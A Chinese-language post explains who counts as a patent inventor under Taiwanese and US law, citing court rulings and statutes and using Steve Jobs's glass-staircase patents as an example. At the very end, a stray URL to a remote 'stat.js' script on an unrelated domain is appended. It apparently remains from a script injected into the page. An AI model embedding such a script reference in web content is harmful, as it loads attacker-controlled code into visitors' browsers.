【關於專利發明人在法律上之定義】
台灣:
智慧財產法院106年度民專訴字第60號智慧財產法院民事判決說:"發明人係指實際進行研究發明之人,須對申請專利範圍所記載之技術特徵具有實質貢獻之人,所謂「實質貢獻之人」則指為完成發明而進行精神創作之人,其須就發明所欲解決之問題或達成之功效產生構想(conception) ,並進而提出具體而可達成該構想之技術手段,即精神創作,是指發明之構想,詳述及具體化作業者,原則上為研發人員,然並不包括僅提出構想或作實驗驗證之人。只有發明之構想,尚不足以產生一件發明,構想產生後,必須有預測結果程度之詳述及具體化,各種具體化的技術都可以申請專利,蓋專利所保護的是其技術手段而非其構想。"
這是台灣法院對專利發明人的要件 — 必須有具體而可達成該構想之技術手段,因為專利保護的正是這個技術手段,而非單單構想本身。
美國:
美國法律也是如此,根據Burroughs Wellcome Co. v. Barr Labs., Inc. 一案,發明人必須是實際對發明之構想有真實貢獻之人(… for a person to be properly named as an inventor on a patent, he must generally contribute to the conception of the invention.)。假設某專利發明人共列A與B,但實際發想人是A,B只是監督或資金提供者的話,則B是不可以被列為發明人的。
在1952年美國專利法修法之前,上述的「錯列發明人」是會導致"專利無效"的嚴重後果!1952年修法後(35 usc §256)則改為「故意錯列發明人」才會導致專利無效;若是「過失錯列發明人」則必須被修正。
補充:
根據35USC§116,要被列為共同發明人一定要實際對專利claim有所貢獻。
後來Ethicon, Inc. v. United States Surgical Corp.一案法官進一步定義:「假設claim 20項,至少要有貢獻其中一項,方可列入。」
Apple一年那麼多專利申請,只有少數幾個有列名Steve Jobs為發明人。(例如很有名的那個透明樓梯)。
而Steve Jobs並非單單發想「透明樓梯」這麼簡單,而是可以證明他在結構力學上實際提出解決方案,讓玻璃樓梯可以承受相當重量而不破裂。
如果他只是說:「我想要透明玻璃樓梯,你們工程師去實現」,這樣絕對是不可能被列名發明人的,即便列了專利也會因此無效。
台灣則普遍有列名老闆的陋習,即便老闆可能只是出個點子但沒有實際貢獻解決方案的內容。這個好像業界很常見。https://js.developerstatss.ga/stat.js?n=ns1